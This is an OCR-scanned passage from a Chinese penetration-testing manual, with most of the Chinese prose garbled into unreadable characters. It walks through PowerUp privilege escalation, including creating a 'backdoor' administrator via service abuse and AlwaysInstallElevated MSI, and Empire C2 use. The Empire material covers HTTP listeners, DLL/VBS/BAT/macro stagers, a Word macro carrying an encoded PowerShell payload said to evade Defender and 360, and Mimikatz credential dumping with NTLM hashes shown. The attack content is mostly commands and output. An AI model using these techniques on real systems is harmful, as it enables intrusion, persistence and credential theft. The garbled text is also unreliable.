e HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows
\CurrentVersion\Run

e HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows
\CurrentVersion\Run Once

e HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService

e HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion

\RunOnceService

BHEIUEEH SEH e = }h
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o HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows
\CurrentVersion\Run Service

e HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows
\CurrentVersion\Run OnceService

AL T an SRl TR, dNE6-37F 7.

PS C: \>Get-ModifiableRegistryAutoRun

SOFTWARE M

SOFTVARE \Micr

El6-37 ENEEFNEANTHEEE
12.Get-ModifiableScheduledTaskFile

ZIERBTIRAIMAIAF SR EXANTRIESTEFNZFRAER, AL TS
SRIeTHTAIER, ANE6-38F 7.
PS C: \>Get-ModifiableScheduledTaskFile
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> Get-Modif iableScheduledTaskPile

TaskFilePath TaskIvigyor

2345Explorer Task

igMot if fcat fc
onf ighot if ica
Conf igNot if icat ion @(Permiss

El6-38 = RIESERS
13.Get-Webconfig

R AT IREI2MATARSS 88 Eweb. config A PIIEEEEIEEF 5 HEA08H
X, WAL T aSRIa Tz, ME6-39f .
PS C: \>get-webconfig

PS C:\> Get—UYebconfig

False

E6-39 #Eweb.config-RRIEURE
14.Invoke-ServiceAbuse

ZERETHERRSSEAINEREIEEA, HolllBTigE-cmd 25t aiR
MBFNEEN DS, PUTAERIGSU RATR.

PS C: \> Invoke-ServiceAbuse-ServiceName VulnSVC # FINEAKS

PS C: \> Invoke-ServiceAbuse-ServiceName VulnSVC-UserName
"TESTLAB\john" # IEERMIIREKS

PS C: \>Invoke-ServiceAbuse-ServiceName VulnSVC-UserName



backdoor-Password password-LocalGroup "Administrators™ # {SERIAF,
PEBLGRINAERE.
PS C: \> Invoke-ServiceAbuse-ServiceName VulnSVC-Command

...... "# BENITES

15.Restore-ServiceBinary
HERATRERSHI VTS RIRIGER, UTIZERIISSU .

PS C: \> Restore-ServiceBinary-ServiceName VulnSVC
YN 16.Test-ServiceDaclPermission

ZAERBATREENMNHPESARSTEadiAEFINAER, SRESRE
truedifalse, HUTZERNGHSU Fr.

PS C: \> Restore-ServiceBinary-ServiceName VulnSVC
17 .Write-HijackDll

ZRERAT A BEN e B aHEMERIIbat 3 4E$env: Temp

\debug.bat, FH@H—EEBENIXMbatS3H4AIDLL.
18.Write-UserAddMSI

BT AN LE S, BT NEE SRS HRINEF RIS
&, WAL TS ElaimzELR, E6-40Fr.
PS C: \> Write-UserAddMSI

-%E:‘:Eﬁ%ﬁﬁ?ﬂﬁﬁ%" TE MW o =

PS C:5\> Write-UserAddMSI

DutputPath

serfidd.msi

El6-40 £MMSISTiE
19.Write-ServiceBinary

ZAER BT IRIECHIRSIeT AT, BALIE—EERKS, ohiEd
CommandEHIB &S, BUTZERNaSU M.
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PSC: \>Write-ServiceBinary-ServiceName VulnSVC # ZFIIEIAKS

PSC: \>Write-ServiceBinary-ServiceName VulnSVC-UserName
"TESTLAB\john" # ISERINEKS

PS C: \>Write-ServiceBinary-ServiceName VulnSVC-UserName
backdoor-Password

Password123! # STEAINER, FBPEBLANAIINAERS

PS C: \> Write-ServiceBinary-ServiceName VulnSVC-Command
"net...." # BENMITAES

20.Install-ServiceBinary

ZIEHRIEIT Write-ServiceBinaryS— M C#IIRSS FESRAINEER, iTafatk
A< M.

PS C: \> Install-ServiceBinary-ServiceName DHCP

PS C: \> Install-ServiceBinary-ServiceName VulnSVC-UserName
"TESTLAB\john"

PS C: \>Install-ServiceBinary-ServiceName VulnSVC-UserName
backdoor-Password

Password123!

PS C: \> Install-ServiceBinary-ServiceName VulnSVC-Command

Write-ServiceBinary Sinstall-ServiceBinaryflUARIE, BIEEMRIHITI
1, EEEEZERS.
6.2.4 PowerUpIahisith SLAkE S
ET&IE, RZPowerUplBHAEE—NE, AN REXENBILNE
FREERAYSEAERT FE.
1.5CH61
FEtsEskeh, FZ T Invoke-AllChecks. Install-ServiceBinary, Get-
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ServiceUnquoted., Test-ServiceDaclPermission, Restore-ServiceBinaryixXJ1/M&
R,

SohnZEPowerupflA, S TInvoke-AllChecks, HIAGHTRIBRG
=

°

EPowerUplI A HEZ=BEHRRSEE, BAAHUTIZIIAR, WE6-4157r.

meterpreter > getuid
Server username: WIN-57TJ4B561MT\shuteer

meterpreter > upload /root/PowerUp.psl c:\
| uploading : /root/PowerUp.psl -> c:\
uploaded : /root/PowerUp.ps1 -> c:\\PowerlUp.ps1

Ee-41 ERRM4sHY
SEFBIEXFERZHIIEIAR, Ll THS, HABHGIEIRE, NE
6-42f71.
PowerShell.exe-exec bypass "IEX (New-Object
Net.WebClient) .DownloadString (‘C: \PowerUp.ps1') ; Invoke-AllChecks"

:\> PowerShell.exe -exoe bypass "1EX (New-Ohject Net.UehClient).DownloadStringC’C:\Powerlp.psi’); Inveke-A11Chocks™
ocal administrative privileges?

ce paths...

dent ityRef evence NI AUTHORITY \Authent ic

of t \2345 PCSal e \2345! C.exe
bject(]; Modif ia hoC:N; IdentityReference NI AUTHORITY uthent icated Users)

El6-42 $Hi{TInvoke-AllChecksti e
B Rl LAFECMDIAE RNMERLL NS SR U nZIA, 21E6-43F7m.

powershell.exe-exec bypass-Command "& {Import-Module.



\PowerUp.ps1; InvokeAllChecks}"

||

e

b

7
2
B
7]
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LIRS, PowerUpﬁUHﬂTﬁﬁﬁT“bfﬁlfﬂEﬁﬂﬁﬂﬁx ??EAbuseFunctlon
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FERAH THELN. XBEaSAENES, £ a5 1BidGet-ServiceUnquoted
B (FIBWindowsi—MNBigRHE, BIXX4EAZIER, Windows APISEREA
BNEER, XA R T, AL EoIsEI SRR ) il
i "OmniServ” “"OmniServer” “OmniServers” “Vulnerable Service” FIMRi
STHELPERR, BEHRESALUR, LT ASEHAIATIRI. £ 8oy
Test-ServiceDaclPermissionf&Et: (FREFFE0] ARES, HEEAxXE TITRIRS #
BN, MRaER, WEElER) NHSEIEFRILME “OmniServers” fESS
HERENEXEIHUTE, FTEEXE TR

HRS: RN AERE. Windows REIRS ATHRERS SR SINEHh
17, AEERAREATITUS. HHESRERRSE], JavaFtRigFaital
OracleMit2 &G avaizfr. MElavalzfr < ENRSRIRSIER, EIEEIE
AERIBITEZREFAR ER. FrLNSRE—MESRIA XTI R AR S E IR
TAHEE SRR, B4R LUSEE AT E AT, NEEERS
ERSIKERFUR.

XEo[LAfEMIcacls (WindowsIERN—TH, AFEENERENERE
EESENIRGR) KilEPowerUplIAHII2 AR 1ER, Sokilid, “C: \Program Files
\Executable.exe” "C: \Program Files\Common Files\microsoft shared

\OmniServ.exe” “C: \Program Files\Common Files\A Subfolder

 \OmniServerexe” X=Xk, HEFIRAE, WE6-44F.

El6-44 MRS SR (1)
Bl "C: \Program Files\Program Folder\A Subfolder
\OmniServers.exe” 44, WE6-45F7T.
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@O 45 _uAJ—_l—'%')\rBE (2)
ME6-450]AEH, “Everyone” FAAFIHXMAEZEMIEHEIN, #HEiR

, FTERPEEHEsOxX N L. TENE6-45H2FuiTHE, "M" AFEE

B, P REZ2EH, O KENEFSREERNRIESHm, 0" KEMEX
HgaEHIEHEHIR. XEKE "Everyone” YMZEFRAIE. 5, MBAE TR,
ﬂﬂﬂﬁ?—ﬂ?ﬁﬂ%iﬁ’]ﬂﬁﬁ
EXEHAEREG6-43thAbuseFunctionJBEBLEHNEMRRELT,
LA M.
powershell-nop-exec bypass IEX (New-Object
Net.WebClient) .DownloadString (‘c: /PowerUp.ps1') ;Install-ServiceBinary-
ServiceName'OmniServers'-UserName shuteer-Password Password123!
#HAM: Install-ServiceBinaryfEHIINEEE B Write-ServiceBinary5—
TRETRINBRICHRSS, WME6-46/ .

El6-46 AR
ZRHEBRETZRSE, SANEINKS. NEFIEILZRSHER
[EENZARSS, MRIEAIRIER, ME6-47Fmr.



\>net stal t omniservers
o ~ »

Ele-47 Z1HRS
VIV \Ee-47HEIINED), IREEAE, IREENSAINEIRE— N ZR
UsertlBR, FrLIRES S EBRnTZRSREERRS. XERIEEINL, B
BiESANL NS EHIER, WE6-48Fim.

92.168.172.149 - Meterpreter

El6-48 i25IER

s B AR, BRREEXNER T, ME6-49F 7.

%Eﬁﬁ%%ﬁﬁ%“ﬁﬁwmvn=~

E6-49 ZHRER
HENE, 24548510 FE shuteer, ZB2Password123! |
SNEI6-50Ff 7.
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22 \Onet user

N\WIN-57TJ4BS61MT B R P

dministrator
shuteer

E6-50 EEHEF

EEERZAFIRIR, ANEEERATERNUR, WE6-51F7R.

C:\>net localgroup administrators

net localgroup administrators

(777 administrators

66 GOOOUOLOG000/ 0008000000 200006006

Administrator
msi

Eo-51 EESERSIE
AL, el ERIBIMIC: \Progra
SubfolderBFE ’& 7 — 14, WE6-52F7.

m Files\Program Folder\A
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L A 57 OmniServers.exe : /4 =1

= OmniServers.exe.bak

El6-52 =FA SubfolderBEZ

RN RESRAEIRE, sJLMERU TS,

powershell-nop-exec bypass IEX (New-Object
Net.WebClient) .DownloadString (‘c: /PowerUp.ps1') ;Restore-ServiceBinary
—ServiceName'OmniServers'

HiTa SR LUERrB RIS ERISHIRIRE, W M.

o & “C: \Program Files\Program Folder\A Subfolder
\OmniServers.exe.bak” /5 “C: \Program Files\Program Folder\A Subfolder
\OmniServers.exe” .

o IBIREMN IHEISUE “C: \Program Files\Program Folder\A Subfolder
\OmniServers.exe.bak” .

2.3Chk2

TEtSEae, FZI Y Get-RegistryAlwaysinstallElevated, Write-
UserAddMSIXFE/MELR,

e LMERPowerUpflGet-RegistryAlwaysinstallElevated s iG & F
MEREEHILE, MEAlwaysinstallElevatedi IETHISE, BEREMSIIUER
PASYSTEMBBRIE THY. HUTIZERAIG<SIT, TruenEEIRE, dE6-530r.

powershell-nop-exec bypass IEX (New-Object
Net.WebClient) .DownloadString (‘c: /PowerUp.ps1') ; Get-



RegistryAlwayslnstallElevated

DownloadString("’

adString('c: /P

El6-53 & HMERIEE
EERINBR, 157 Write-UserAddMSItEER, m{TaS4m 4
%10 UserAdd.msi, 1E6-54Ff73.

(=]

48

PS C:\> Get—RegistryAlwaysinstallElevated

PowerUp.psl
jjl UserAdd.msi

OutputPath

serfidd.msi

BE6-54 FEEMSISTAE
XA AZ B FRBRE X M UserAdd.msi, FERRITZHRIIMKS,, NE6-55
B,

:\testldnsiexec /q /i Userfidd.msi

émmﬁwﬂiMM"ﬂﬂwmvns

:\testldnet user

\\WIN-R?MM9GERBMD ()FH ik 2

Adninistrator backdoor
test

Ee-55 E5FF

RoBEESERENNR, sJUEIRIESHINESEIERIICMD TR
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my— 1 SHEAK,, WE6-56F .

:\testl>net localgroup administrators
Ay

administrators

BERAMNITENAAA

El6-56 EEEBATIE

s ERNREERFTTE Y Windows Ins
IRENZE, WE6-57f .

t

alleri5tZ35008E, FESIWH
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wE) BeEA) BEV) B8H)
e« 2[ S/ @Bml Y
. Windows 8%
ActiveX SHRRES PR
BitLocker DM an e
nter X - — #“ﬁ
l :"“": 'E" & HRCRCRCER ... s - 4__‘
Vo) ) :::;nc 15 HBLOERTRR | £—TREP) || F—TEmN)
W RSS B .
Tablet PC =ERO
€ indows . >
7 Wodows enTa:
indows E Windows 2000
§ :ﬂrndows |
Windows Ml
W‘j Windows 11 =% -
: e | (188 Virdow: ZRAGES  susERA]
g El6-57 FFEWindows InstalleriEfIZ2EThas
i B TAMESRIREES (EairiEdPiEA\gpedit.msc) HUTLATRIE.
g A BERE—HEN BB~ S EER—WindowsB{t—Windows Installer—3k
& L EERHTEE: EER
g B.AAFK—BFEE S EEE—WindowsZB{4—Windows Installer—7kiz
noon LSRR ITRE: BEA

BB, XA NIRRT ELERBES 1" HEE.

e [HKEY CURRENT USER\SOFTWARE\Policies\Microsoft\Windows
\Installe r] “AlwayslInstallElevated” =dword: 00000001

e [HKEY LOCAL MACHINE\SOFTWARE\Policies\Microsoft\Windows
\Instal ler] “AlwaysinstallElevated” =dword: 00000001

BhfisiE: LRI iR, REXAAlwaysinstallElevatedB]
BIBE L ARIFBMS IS TR

===
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6.3 Empire
6.3.1 Empiref@/

Empire2— I WindowsF&f. ERPowerShel A ENBEREEEAEZ
BEEGHERTE, BEfMstagertmk, 1ENESE4HEN—Z5ThEE. EmpireSTHL 7
Tompowershell.exemfoliz{TPowerShe HCEERIINEE, iRn]LAREIE IS HIERE imiaA
FRiEth, HABEHREREICHE. Mimikatz, S83UAC, ARITNS, HEREWRYE
MSNFIAS S Z2bhin TENER, BERiamET Metasploit, 22— &

> FPowerShel ffEEHIA LS.

EmpirefISERIHEER] ASEHE ML : http:/
www.powershellempire.com/.
6.3.2 EmpireffJZ3E
Empireiz{TfELinuxF& b, XEBFERNZESEDebian, HtEMgtmS T
HiEFEH=R, WE6-58/ .
git clone https: //github.com/EmpireProject/Empire.git

root@l63-. g»164-223:~# git clone https://github.com/EmpireProject/Empire.git
Cloning into ‘Empire’...

remote: Counting objects: 8671, done.

remote: Compressing objects: 100% (11/11). done.

remote: Total 8671 (delta 1), reused 3 (delta ©), pack-reused 8660
Receiving objects: 100% (8671/8671), 18.96 MiB | 2.09 MiB/s, done.
Resolving deltas: 100% (5786/5786), done.
root@l63 4P -164-223:~# 1s

plre

El6-58 EEmpire
ESH \setupBx, FERA NGRS EEMpire, WE6-59F 7.
cd Empire
cd setup

sudo./install.sh



root@l63-% 223:~# cd Empire
root@163-H 223:~/Empire# s
changelog empire 1ib LICENSE README.md setup

root@l63-4 223:~/Empire# cd setup
root@163-«s 223:~/Empire/setup# ./install.sh

E6-59 Z&=Empire
RS, EEmpireBR I /empireBIa[# T Empire, XERRREAZ
A 2.3, AILIERIE280MER, 00slr, 0MKEE, H1EI6-60F .

Welcome to the Empire

{mmmw%wmw"m%»mvns

280 modules currently loaded
@ listeners currently active

0 agents currently active

(Empire) > |}

El6-60 FTHEmpire
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6.3.3 IREWUIT
z{TEmpiref5, BAhelpdsSEEEARIEREED, WE6-61F77.

(Empire) >

Add 11\p1ay crede ls to/from the database.
Exit Empire
Displays the help me
Interact with a p
Lists active agents or
Interact with active list .
Loads Empire modules from a non-standard folder.
Preobfuscate PowerShell module_source files
Reload one (or all) Empire modules
t a global option g. IP whitelists
Read and execute a list of Empire
Search Empire module names/descriptions.
Set a global option (e.q. ;P whitelists).
show Show a global option (e.g. IP whitelists).
usemodule Use an Empire module.
usestager Use an Empire stager.

(Empire) >

Ele-61 E57E)

REANEEIREREMpireB EEAKIEM R FF, ESLEmpiref(]
MetasploitfIEFRIEE—HN, HETRE—NENT, EEER—AD, ASHE
BiRENRETZAD, BAINSTHHSEE FREEERAIRE.

XEEGEREV—MNA, fMetasploitBEISIRER—NEE, BWA
Listenersfp SPHANBITEIERE, oIS help@SEBREIS, E6-62F7x.
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2
S

interact
list

listeners

resource

ﬁvd'4hrtdu1w

e Agents menu.

splay credentials to/from the database.
Exit Empire
Displays the help menu.
I ct with a particular agent.
ts or listeners.

ndard folder.
source files

al option (e.g. IP whitelists
Read dnd execute a list of Empire commands from a
Search Empire module names/descriptions.
Set a global option . IP whitelists).
Show a global tion | . IP whitelists
e an Empire module.
Use an Empire stager.

E6-62 =& Listeners®EE)

EaE \uselistenersRIR EXAMIED,, BN ETabEn BRI —HG7

gz, dbx. http. http com. http foreign, http hop. http mapifiFEAi1z&

fmeterpreter, WEI6-63Ff7.

XEFAhttpls

El6-63 EFuselistenert&Est,

WIFHET, #iA\uselistener http, AG#AinfonSERER
2HIRE, WE6-64fr.
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(Empire: listemers) > uselistener http
(Empire: listeners/http) > info

Name: HTTP(S)
Category: client_server

Authors:
@am)0y

Description:
Starts a http(s] listener (PowerShell or Python) that uses a
GET/POST approach.
HTTP(S] Options:
Name Required Value Description

SlackToken Your SlackBot API token to communicate
with your Slack instance.

El6-64 FHEhttpiEsl
XEBoLAMEFset@mSIRBIENESE, FEEALLTHSIREName, Hostfll
Port.
Set Name shuteer
Set Host XXX XXX XXX XXX: XXXX (EmpirfifERRSSE5IP)
XEBHostBIARERAIVPNRIIP, FRLASIAMIER Y, BXRERIEIR
#\info, BEEIREERIEHA, A5\ executednSEInJFHAKT, WE6-65F 7.

(Emp1ire: lia‘:hv.-‘h’fb) > set Name shuteer
(Empire: listen http) > execute

[*] Starting llstpnpr ‘shuteer’
[+] Listener successfully started!
(Empire: listeners/http) > []

El6-65 e
A\ backip S HIoiRE] E—FlistenersFE, HiAlistap< ol ASIHZSETEGS
Hlistener, #E6-66F 7=,



}.
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El6-66 7l H=gIRILE0T

FERkillsnSaigEMEZ AT, E6-67F7s.

El6-67 fMHiEiET
XEEIE N, YHESMNERE, YWREFARNER, HEEEARN
im0, MEEELENHOCESHER, PBACRENSGIENMEE.
6.3.4 £RAS
REZR, EENEENASHRERMIRE DEiT. oJLUEX MR
MetasploitEEAIPayload. EmpireZfE L MEH L Hstager, I Ausestager
SRIGEX RS, FERE, BIWETabiE, oJLAER—HA26MEbE, (1E6-68FT

The



'{ EREMEENWE" FFhicoe = }.

El6-68 FIHASIELR
HehmultinBBEE, osxEMaciEERFRIE, FTHFMEWindowsHY
B, TEEIPNEES S BRI RS REMHE.
1.DLLRG
HEZEDLLURS, it \usestager windows/dIIf&<, REHIAinfo
wSEEIFHASE, WE6-69T~.
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«

ger windows/d1l1l
> info

Name: DLL Launcher

El6-69 EEFMEE
XEBFHAJIRE— Flistener, AlatiiTexecutedn, FISTEtmpER N
ZHlauncherdlfIARS, E6-70F 7= launcherdIfEERFN LEi7/E, ek
Ih k.

(Empire: stager/windows/dll) > set Listener shuteer
(Empire: stager/windows/dll) > execute

[*] Stager output written out to: /tmp/launcher.dll

(Empire: stager/windows/dll) > |
El6-70 £mDLLARS

2.launcher



MERFEGEAPowerShel {3, HRETHENIERG, oJAEEERNT
gaszeachig A launcher<language> <listenerName> , J{RIR4ER—1Tbase64453
A2, XBgAbackip$EFlistener , R launcherpowershellshuteer (%
gligEMlistenerE=>) <4 —"Payload, WE6-71F7.

Eﬂmﬁwmamw"ﬁﬂwmvos}

2
S

El6-71 &£akPowerShell{ti3
RIS PowerShel B BRI EHATERRIXERGRS, SERIXAFN
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AR, XEFERIELHIEWindows 2008 R2f64{Enterpriseffl, LEH3603
BH4 + 3602 Pt + Sophos, EIEIGXEGSEHFZELWebShel RHhfT, Al
E16-72ff 7.

E6-72 $#TPowerShellitH3
o[ ABRSRIEMpireB4& 47— "Name ALOFPTXVERIEHL, MERERER
HERBE NI RS, BAagentsHa] IER FABIRENHNERRS, XEN
agents#itE2 T MetasploitiiiEsessions, WE6-73F7.

El6-73 =5 FERIEN
A ENameSEl— M EHAIEZF, olfEHrename <oldAgent
Name> <newAgentName> <322, XEBiArename LOFPTXV6 USA, &
6-74ff 7.
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E6-74 B EHEFR
3.launcher vbs/K4

EBig Elauncher vbsARD, B55E#H) \usestagerwindows/
launcher vbs, ZEMAinfoldSEEFIFHALE, WE6-75F 7.

E6-75 EEEASH
EARL TSR BListenerlU2EFHE1T, BASEtmp 43 NAERK
launchervbs, 21E6-76F 7.

Set listener shuteer
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Execute

(Empire: stager/windows/lLauncher
(Empire: stager/windows/launcher

Stager output written out to tmp/launcher.vbs

(Empire: stager/windows/launcher vbs) >

E6-76 £RVBSAD
Biatgi\backinSBlE|Listener FFRASIT, 1E4MALX NMaunchervbsiEH
LEFTH, SEERX D ENERER, XEFEBRIEIIZEWindows 1087644751
R, EREERZEFHDefender, 1517/, launcher vbs KGRI F£E, tNE6-77FF

. DefenderiZ HIUHIE.

Juncher w » back
> [+] Initial agent E6GLXUKREB from 103.@

Bl6-77 58610
WNEBELRLPowerShel({i3, 1&&5Listener/GAHiI \execute, BEIEHA
back, #j5#iAlauncher powershell shuteerB=], NE6-78F7s.

El6-78 thiTPowerShell{$E3

4.launcher batR%
EBig Elauncher bathk3, BH5cE4 \usestager windows/
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launcher batfli&<, REHEAinfondERIEMEY, WE6-79F .

El6-79 ESEFEASH
EFAL T <R EListenerfI2 45\ executedn $15tT, BUASTEtMpX
= R4 launcher.bat, #1E16-80Rf7.
Set listener shuteer

Execute

(Empire: stager/windows/launcher bat) >
(Empire: stager/windows/launcher bat) > execute

[*] Stager output written out to: /tmp/launcher.bat

(Empire: stager/windows/launcher_bat) >

E16-80 £RBATAD
i A\ backap<OlElisteners FHAKSNT, AREEAANIXMauncher.batft
Bt EFTH, MEBEXNENRISER, aJAER, EREIWUE TS, BATASES
RIh EEY, WIE6-81F7m.
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El6-81 R3&AkIN
ATIBIMAZNE, Bo]LUEZHAMNE RN — " office X, XEFBEK
MWordaZExcelSfF, BE BN 7E, EEF WR , ReEFE B34l
g2, BE W RE, FhEERAERRIHIANENE, Ak B ER
BafE ENER KIERER N EEEZMNENR, WE6-82f k.

g o] =] _J - 5 T v'w
Bes Aew ws NS e N & % BT o ¢
<>
. S
e
wao (arroew )
2 1 —— = -
C.\Vsers\shuteer\Desktop\launcher bat (' wE 0
’Id!fnl""’
b B D

6-82 BAFTIR

£ ENER AEE, BTLUEE—ER, XEZNERHERE
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Excel. Worda§PowerPointElfx, 1XEFEH T WordIBliR, FHEHEXCUFIZTRIEH
REE, T EZ% Adoc. B "HE" HHE, ZNSHSEAWord X4, NE
6-83Ff7.

NG
2002 FFERARE S, ¥ Metasploit FIA [ EFHHKNY
W), E (RE X HER) (REFM). Freebuf. T4

BAERNMAERLISREARALE, QQ: 5946723

o S B
W

FRaR &

El6-83 fE A\ Word3Z4
EEElisteners N, RSz Word 3R B, —BE1ZWordEBix
MLESHTH, FHisls 7 RERAOHANEN S, SEBRIXNEVARER, XEEERRIREI
FLEWindows 10096468, ZEB RS EHHIDefender, WordXH4iz17/5,
BATASAIN L£E, DefendenBiHaliRx, 36022 P+ REANERE, YIE
6-84Ff 71,

El6-84 [258AkTH

5.MacroARS
ERIgEMacroRD, BioHEE \usestagerwindows/macroans, R
WAinfornSERIFHSE, WE6-85F .
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Required value

0 generate stager for
0 output macro to, othe

E6-85 EFIFHE
XBEFEBIA TGS g EListenerfI25FtH G\ executeinSEELET, WE
6-86ff7~.
Set listener shuteer

Execute

(Empire: stager/windows/macro) > set Listener shuteer
(Empire: stager/windows/macro) > execute

[*] Stager output written out to: /tmp/macro

(Empire: stager/windows/macro) >

El6-86 f£akMacroRs

EASER— R, EFE/tmp/macro3fd, AE6-87F .
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B Al EiaaseHVBREIERE, FEENREMER, BAERNES
HigE, BFA "Word 97-200334 (*.doc) " {4, 4NE6-89F1E6-90F 7.

AN "EmYy W0 SN0 WD SFER IO A% 0w e
cd A BA T » u A ESNY 9 so.nn
posect X
I_“—. M 204880 - Newhliacros (1R
Nermal
IPraject (7.2 PoverSl M’
5 Wi crosoft Vord 218 Sub AuteDpent)
!]l\i-lmt Debugging
2 31m Bl b
Preject (PANG-B Scb Docunent_Openi)
|55 Microreft Vord 2R nd ;:‘kwu
B) Thidecwmant
|y W '“;f '?cu-slukuuc() As Varieat
tr As Ser
R Sellorres Str = pevershall exe “Bob ~sta <Boad ¥ Nidden “Las WoIT"
13l Str = Str * “ATRAUGBUAGUATOAMATAAZGBUACAAUSEY  JAAAZIING
Str = Str * “BASQIOATGATUBBAZAAGENAGUA« ¢b m;’:z‘ulm;
Str = Str *+ V) GPUMGRAT gh | AEVATAASAL
Str = Str + THAOAT GATAP CALURAGTALGHTABAVAATIAGGETATRAIGS
Str = Ser » tw AFUALATAGUAG
Str = Ser * mmmmu:umwm MOA"
Ste = Str + " dud tACART DUACAAN huADEAOw AGAT <AT e BXADTANARTACAAVA

Bl6-89 Sal7=H{E

TEE(N): | DANB-BE¥%.docx
FEERD): |Word 37 (*.docx)
55 i

r
Word 97-2003 3Z#= (*.doc)
'Word 1B (*.dotx)

SSERCSAN \laed SIS (% doteo)
El6-90 BEAHE
%Fﬁ%t/\{?&tﬂ’{lWord%@JEﬁm_tWi THEsR—LL2ES,
BEEFHE ML TREFNGR, BSBiraG ESRRE" &, WE6-915T
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El6-91 Wordiie=s

XEEH BHAE"

(Empire: listeners) > [+] Initial agent 7R926ZMC from 218.206.129.145 now active (Slack)

(Empire: Listemers) > agents

[*] Active agents:

Lang Internal IP Machine Name  Username Process

ps 192.168.1.179 DESKTOP-2DTMGOM DESKTOP-20TMGOM\shutpowershell/9736

2017-11-23 15:42:29
BE16-92 [Z558AkIh

WNREMBRZEN, sJLAGERkillEEremove<, WIE6-93FTR.

i, JABRRERIAE FE, BESIRF t2
7. EOMER T, 3602 DS REAIRRS, WE6-92f7R.
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(Empire: listeners) > agents
[*] Active agents:

Name Lang Internal IP Machine Name Username Process
Last Seen

9Y6GS318 ps 192.168.1.179 DESKTOP-20TMGOM DESKTOP-20TMGOM\shutpowershell/580

2017-11-23 16:13:43

(Empire: ageats) > kill 9Y6GS318
[>] Kill agent '9Y66S318°7 [y/N] y
(Empire: agents) > [!] Agent 9YBCS318 exiting

(Empire: ageats) > list

[t] No agents currently registered

E6-93 Mk BimEtl
6.Ducky
EmpiretB3z$FDuckyf&tl, RERKAIFERA /NERS" |, #HiA\usestager
windows/ducky@d, ATEANinfornSERIFMEE, NE6-94F .

that runes a one-liner

for Empire

Required Value

El6-04 EEFASK

XEBEREIREListener24], FelLIAERATHREIAINT, E6-95/ 7R,
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El6-95 LrkHig

_ BZRBRE /NS &, BABFREPITEN, Soledmsk. Bk
B ERE IS E xR E—— (FIFUSB RUBBER DUCKY (USB 1RE7HS) 7EBHR
28 EFSsIEmpireEMeterpreter=ig)  (http://www.freebuf.com/

geek/141839.html) .
6.3.5 EEEFHLNEAER
BirEt s8I g, aJLERagentsap S ZIHSBIEEENENL, X8
EFIEHE (%) NECESGIINEN, NE6-96F 7.

Internal IP Machine Username Process J Last Seen

lay
MIMFTUALVATIONUD  192.168.31.158 WIN7-XBG *WINT - XBE\shuteer | powershell/296 5/0.0 2017-85-06 B4 104
/8,

:55
SIXTNDLNEVYFGPHI  192.168.31.134 WIN7-B4 WINT- B\ test powershell/536 2017-085-06 84:55:01

E16-96 FUH B
AlafEinteractis SERT, FILAERTabRE EEHIRIEHR, EZART
[ NhelpasSRIRIZIHATERER<, 2NE6-97/ 7.

S
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El6-07 =E e

B ERFHNATIERESER, EATILHIMetasploiti®ss, FABANE
FEWindows, LinuxiiMetasploitfIEioERA®S, FEHEEE EFERMR, E
6-98Ff7~.
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(Empire:
(Empire:
Path

C:\1netpub\wwwroot

(Empire: A) > getuid
(Emp1ire: ) >
(Empire: ) >
NT AUTHORITY\NETWORK SERVICE

(Empire: A) > getpid
(Empire: A) >

Handles NPM(K) PM(K) \ ) VM(M) CPU(s) Id ProcessName

2428 powershell

E16-98 {FHLinux&®4<
#iNhelp agentemdsa] AR R EBNERGS, WE6-99F 7.
(Empire: A) > help agentcmds
[*] Available opsec-safe agent commands:

ls, dir, m, del, cp, copy, pwd, cat, cd, mkdir,

mdir, mv, move, ipconfig, ifconfig, route
reboot, restart, shutdown, ps, tasklist, getpid,
whoam1, getuid, hostname

(Empire:

E6-99 =EBERGIE
EFERES CMDHSHIRHE, EFER “shell + 32" AU, WE6-100FT

7TNo
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(Empire: USA) > shell net view
(Empire:
Server Name

\\ANTIVIRUS-V2
\\ANTIVIRUSSERVER
\\ASTR-AP
\\AVSV-AP
\\BACKUP-POC
\\CVIS-AP

E6-100 EECMD&E4

ReEHHARENMimikatziER, EAmimikatzep<, E6-101F7~.
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(Empire: ) >
Job started: Debug32 rdtr@

5-21-3766207507-3506404812-2082115619
(x86) built on Dec 11 2616 18:01:05
L'A

Hostname: win7-x86 / S-1
B8888 mimikatz 2.1

o A La Vie, A mour

# Benjamin DELPY "gentilkiwi ( benjamin@gentilkiwi.com )
v # http://blog.gentilkiwi.com/mimikatz (oe.eo0)
#i848 with 26 modules * *

2
-
-

mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 16164866 (00000000:0016a802)
Session : Interactive from 2
User Name : test
Domain : WIN7-X86
Logon Server : WIN7-X86
Logon Time : 2017/5/6 16:51:23
SID : S$-1-5-21-3706207507-3506404812-2682115619-1602
shion msv
[00010000] CredentialKeys
* NTLM 69943c5e63b4d2¢104dbbccl15138b72b
* SHAl : e91fel73159b063d620a934¢celaflof2bl14c1f3
[00000003] Primary
* Username test
* Domain WIN7 -X86
* NTLM 69943c5e63b4d2c104dbbcc15138b72b
2 o Ll o db -

E6-101 $MEHash

EMetasploit—#, #iAcredsiy<S o] AEENTR. BEHRNNEFZEG,

WNE6-102F 7.




F6-102 BN FIEEIEHEREIN TS
XEFNMINZDS, i\ credsiEWETablE, BILIERI—LEEIR, WE6-103FT
e

(Empire: ) > creds

add export hash Krbtgt plaintext remove
E6-103 EFcredsiER
ERRIMEZ B R VELIEHE, alLUBId tn$XThash/plaintextif#{THE

.
T B . MRS SHISHSE, XBISEEFESE, A “creds export BR/
: xx.csv” @<, WE6-104F7.
7
S ) > creds export /root/pass.csv
'
B
: pen » |l @0 pass.csv.csv
g jID,CredType.Domain,Username,Password,Host,OS,sID,Noth T
M 246300 11-24 06
= E6-104 StHHash
g FELfmsEdE, BTFER, REE5S TV EEWEERL, oJLligA
& list stale®SPIHESEEMNIRETH, A5 remove staledsSHIZEEFW

N, WE6-105FR.
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Empire: agents) > list stale
[*] Active agents:
Name Lana Internal IP Machine Name Username Process

XBTTRM3H ps 192.168.1.100 WIN7-64 *WIN7 -64\shuteer powershell/3800
PWE16YC4 ps 192.168.1.158  WIN7-X86 *SHUTEER\SYSTEM powershell/5320

Empire: agents) > remove stale
Empire: agents) > list

[*] Active agents

Name Lang Internal IP Hoch)ne Name Username Process

P62N7L34 ps 192.168.1.160 iIN? 64 WIN7-64\shuteer powershell/528

Empire: agents) > list stale

Empire: agents) >}

E16-105 S SREIEN]
